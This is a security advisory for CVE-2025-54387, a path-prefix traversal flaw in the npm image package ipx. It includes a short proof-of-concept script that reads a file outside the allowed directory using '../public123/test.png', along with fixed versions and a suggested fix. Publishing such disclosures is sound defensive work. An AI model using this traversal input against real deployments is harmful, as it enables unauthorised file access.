ghsa-mm3p-j368-7jcr
Vulnerability from github
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
-
setup
mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx
-
main.js
```js import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });
(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }
}
})() ```
node main.js
png Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir
ends with /
(path separator) and if not, add before calling startsWith
{ "affected": [ { "package": { "ecosystem": "npm", "name": "ipx" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.3.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "ipx" }, "ranges": [ { "events": [ { "introduced": "2.0.0-0" }, { "fixed": "2.1.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "ipx" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-54387" ], "database_specific": { "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "github_reviewed_at": "2025-08-04T14:48:25Z", "nvd_published_at": "2025-08-05T01:15:41Z", "severity": "MODERATE" }, "details": "### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () =\u003e { \n {\n const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n const { data, format } = await source.process();\n console.log(format) // print image data\n }\n {\n try {\n const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n const { data, format } = await source.process();\n console.log(data)\n } catch (err) {\n console.log(err.message) // Forbidden path:\n }\n\n }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`", "id": "GHSA-mm3p-j368-7jcr", "modified": "2025-08-05T17:10:13Z", "published": "2025-08-04T14:48:25Z", "references": [ { "type": "WEB", "url": "https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54387" }, { "type": "WEB", "url": "https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214" }, { "type": "PACKAGE", "url": "https://github.com/unjs/ipx" }, { "type": "WEB", "url": "https://github.com/unjs/ipx/releases/tag/v1.3.2" }, { "type": "WEB", "url": "https://github.com/unjs/ipx/releases/tag/v2.1.1" }, { "type": "WEB", "url": "https://github.com/unjs/ipx/releases/tag/v3.1.1" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N", "type": "CVSS_V4" } ], "summary": "IPX Allows Path Traversal via Prefix Matching Bypass" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.